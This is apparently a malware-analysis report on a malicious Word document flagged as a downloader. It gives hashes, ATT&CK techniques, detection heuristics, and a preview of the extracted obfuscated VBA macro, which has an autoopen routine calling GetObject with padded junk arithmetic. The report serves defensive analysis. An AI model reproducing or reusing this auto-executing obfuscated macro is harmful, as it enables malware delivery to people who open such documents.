Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a5c998b704d3cd2e…

MALICIOUS

Office (OLE)

167.9 KB Created: 2019-03-29 15:56:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 652c0bf023fa4a8283faa0fa4431c66b SHA-1: 9797d19b18919dd4dd473773d9fd77aaf6075290 SHA-256: a5c998b704d3cd2e41c2fd1fb173af4101c8019cc02b79d6c5699b0c8898c252
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen function, indicating it is designed to execute automatically upon opening. Heuristics indicate the use of GetObject, a common technique for downloading and executing payloads. The ClamAV detection name 'Doc.Downloader' further supports this. The VBA script itself is heavily obfuscated, but the presence of AutoOpen and GetObject strongly suggests a downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.00536d-6916067-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6916067-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24397 bytes
SHA-256: 0c89892e5492c356068691c737d55b418b2e32c75750329680eb615c784ac0de
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "P1QXGGxA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NAw4AA"
Attribute VB_Base = "0{8301391A-B8DB-4546-AD7C-0B13282ABFC5}{4D517479-A442-468B-9FB7-14AB00190C0F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "wADABA_A"
Attribute VB_Base = "0{7CBBC3CF-2DCE-41ED-92CA-1E4BC3EFDC84}{4E2E26CE-EFE8-4450-85AD-FBF4795D6A2D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "IZcAQkD"
Function OAUx1Q()
   If RD_oUX_ = iGAwXUCU Then
zcCAwAk _
= SDDUAZQ - 938093812 - 688260807 + _
CVar(506523764 - Atn(zAACAxo / zAcAk_UA _
+ dACCGwcB / Tan(742487608))) * (662096478 + Hex(458799909 _
/ Cos(nDxA4Z)))
End If
   If rXQDAc = WA4oAAC4 Then
OQwAQDA _
= DGAZAQ - 200337872 - 922260209 + _
CVar(756778522 - Atn(zQABAZ / EQ1AGU_ _
+ jAAAAcA1 / Tan(778615058))) * (643476797 + Hex(963968031 _
/ Cos(qXQ_UZXG)))
End If
   If w_DDAAUA = tDAA_C Then
H4oADAcA _
= mXAZAUX - 595959373 - 240646843 + _
CVar(767376046 - Atn(jUAABAx_ / nA_DA1U _
+ zBBUDC / Tan(357509249))) * (570296243 + Hex(753418238 _
/ Cos(l_QAcADA)))
End If
End Function
Function lDZQ4c()
   If FkADAAQA = a4AXA_xG Then
rDACcx _
= zQ1U1_4 - 400258211 - 486262636 + _
CVar(38480216 - Atn(XC1A_4 / JUZAADA _
+ KDAAD_A / Tan(435225220))) * (799718978 + Hex(301436182 _
/ Cos(VccBD4o)))
End If
   If wQQCU1x4 = fXGkxo Then
LQooA_QU _
= icAZoAG - 553417532 - 860112448 + _
CVar(397536023 - Atn(sAwBDXA / KCDAQDAk _
+ P4AxXo / Tan(88607302))) * (322240230 + Hex(29029941 _
/ Cos(B_wAADA)))
End If
   If mBAGwBC = cXoAUAAo Then
IDoADwG1 _
= HGAcZA - 782211306 - 748052100 + _
CVar(869013204 - Atn(tUAAAkB / k4XGAA _
+ W_QAQCB / Tan(872816766))) * (365146674 + Hex(918181653 _
/ Cos(GZxU11c4)))
End If
End Function
Sub autoopen()
NQAAx1w
End Sub
Function NQAAx1w()
On Error Resume Next
   If C_cA_QDB = QABGQ_ Then
jDACBc _
= JAUAQC - 909817814 - 896538126 + _
CVar(946344251 - Atn(mAAxQwo / GGBx4k _
+ ZkAcxUD / Tan(28546175))) * (186191512 + Hex(917778171 _
/ Cos(SGUAxAZ)))
End If
   If VQcQZBxD = Fw_AAQ Then
DUQx4wAX _
= Yc_GAC - 977963228 - 136298335 + _
CVar(717948948 - Atn(OwAAAcAQ / n_1AAXUC _
+ QZQAwBAU / Tan(520877549))) * (447538295 + Hex(514117366 _
/ Cos(vAZACAAA)))
End If
Set lAXQB_DQ = GetObject(NAw4AA.nwDBwQxB.Text + wADABA_A.Wck1ADU + NAw4AA.nwDBwQxB.ControlSource)
   If XAAGcDA = VDBkQDA Then
MAc_AAAB _
= vUk1wB4A - 377196985 - 549466450 + _
CVar(65975360 - Atn(qAAAAAxD / XAoZcc _
+ H_kAA1QD / Tan(561516226))) * (176042661 + Hex(901084512 _
/ Cos(qCBAAAQA)))
End If
   If CxQQ4xo = ZoAAAA Then
UkZAx4_k _
= EABAAA - 281200765 - 333129493 + _
CVar(179868975 - Atn(iwAAw4D / w_xU14 _
+ BA1GCoQ / Tan(795214946))) * (511065493 + Hex(662530323 _
/ Cos(hAAAAAo4)))
End If
If 400234 = 400234 Then
   If u4AwQB_ = OXAAwc Then
wZGBQQ _
= WwAQUA - 881701534 - 302296165 + _
CVar(160088806 - Atn(tBADBAAX / fQA1BA4Z _
+ CUADDA / Tan(369090478))) * (670541304 + Hex(932535211 _
/ Cos(iAxcAxA)))
End If
   If UDAAcU = AxAADoUB Then
QCAoABAA _
= nDGo_B - 15386962 - 628506213 + _
CVar(729020034 - Atn(FAAkACA_ / i_1UA1 _
+ JoAA_wC / Tan(370526920))) * (936760914 + Hex(870624430 _
/ Cos(EBQcw1BQ)))
End If
lAXQB_DQ.ShOwWiNdOw = NAw4AA.FQUBCBA + NAw4AA.FQUBCBA + NAw4AA.FQUBCBA
   If kQGxAoA4 = k4kC14A4 Then
QGDCoAA _
= jwADUQ - 440534873 - 826502619 + _
CVar(327099503 - Atn(RDQAxQAA / oCBkBA _
+ HAUUAABD / Tan(535541084))) * (441793979 + Hex(419917695 _
/ Cos(rAQDCoBA)))
End If
   If FoDACAA = FADAwk4 Then
dAUAkBBD _
... (truncated)